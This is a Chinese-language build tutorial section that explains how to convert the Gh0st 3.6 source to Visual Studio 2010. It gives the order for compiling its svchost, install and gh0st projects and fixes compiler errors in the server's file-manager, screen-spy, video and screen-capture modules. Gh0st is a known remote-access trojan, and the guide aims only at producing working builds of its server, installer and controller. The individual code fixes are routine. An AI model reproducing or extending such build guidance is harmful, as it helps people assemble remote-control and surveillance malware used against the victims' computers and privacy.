二.编译Gh0st
成功编译CJ60Lib界面库之后,就可以开始编译Gh0st了。
2.1 转换Gh0st3.6项目
直接用VS2010打开Gh0st3.6\gh0st.dsw 提示转换项目,确定转换就行了。这里一共三个项目:gh0st,install,svchost。编译的时候需要先编译svchost再编译install,最后才编译gh0st。
2.2 编译svchost
相同的错误修改就不再说了,参看前面的修改方法。
修改已说过的错误,再继续下面的错误修改。
2.2.1
1>common\FileManager.cpp(202): error C2440: “初始化”: 无法从“const char *”转换为“char *”
1> 转换丢失限定符
char *lpExt = strrchr(lpFile, ‘.’);
修改为:
const char *lpExt = strrchr(lpFile, ‘.’);
1>e:\programming\vs2010\gh0st3.6\server\svchost\common\loop.h(160): error C2440: “=”: 无法从“const char *”转换为“char *”
1> 转换丢失限定符
char *lpFileName = NULL;
lpFileName = strrchr(lpURL, ‘/’) + 1;
修改为:
const char *lpFileName = NULL;
lpFileName = strrchr(lpURL, ‘/’) + 1;
2.2.2
1>common\ScreenSpy.cpp(355): error C2062: 意外的类型“int”
for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump)
修改为:
for (int i = 0, nToJump = 0; i < nHeight; i += nToJump)
2.2.3
1>common\VideoManager.cpp(123): error C4430: 缺少类型说明符 – 假定为 int。注意: C++ 不支持默认 int
定位在:
static dwLastScreen = GetTickCount();
这个错误前面已经提到过,是添加现式定义类型int。这里添加现式类型为 DWORD 比较好,因为后面的函数GetTickCount返回值是DWORD类型。在这里修改如下:
static DWORD dwLastScreen = GetTickCount();
2.2.4
1>common\ScreenManager.cpp(7): fatal error C1083: 无法打开包括文件:“winable.h”: No such file or directory
Winable头文件从VS2008里面就已经不存在了,MSDN里描述如下:
从 Visual Studio 早期版本升级项目时,您可能必须修改 WINVER 和 _WIN32_WINNT 宏,以便它们大于或等于 0×0500。
已移除 Windows API 头文件 Winable.h。而改为包括 Winuser.h。
因为Winuser默认已经包含进来了,所以直接注释这句话就行了。但是如果直接这样,引用Winable中的函数就会出现未定义错误。所以这里除了需要注释这个头文件包含,还需要注释这个文件中的_WIN32_WINNT宏定义,或者修改宏定义大于等于500。我这里直接注释掉了。
#define _WIN32_WINNT 0×0400
#include "ScreenManager.h"
#include "until.h"
#include
修改为:
//#define _WIN32_WINNT 0×0400
#include "ScreenManager.h"
#include "until.h"
//#include
2.3 编译install
这个能直接编译通过,就算不修改默认字符集,但还是建议和前面一样,修改下默然字符。
2.4 编译gh0st
一开始编译就会有个错误提示而终止,如果不修改没法正常编译。
1>C:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afx.h(24): fatal error C1189: #error : Building MFC application with /MD[d] (CRT dll version) requires MFC shared dll version. Please #define _AFXDLL or do not use /MD[d]
这个还是需要修改属性页。需要把代码生成里的运行时库改成/MT。如图:
修改之后重新编译就能看到很多错误了。在继续下面的错误修改之前,先把前面讲到的错误类型给修改好。
2.4.1
1>control\BtnST.cpp(4): fatal error C1083: 无法打开包括文件:“stdafx.h”: No such file or directory
提示找不到stdafx.h,其实这个文件是存在的。在属性里添加“./”的包含目录就能解决了。
在属性页的C/C++—General—Additional Include Directories 里添加。
原来的是:
CJ60lib/Include;../common;%(AdditionalIncludeDirectories)
修改后为:
./;CJ60lib/Include;../common;%(AdditionalIncludeDirectories)
如图: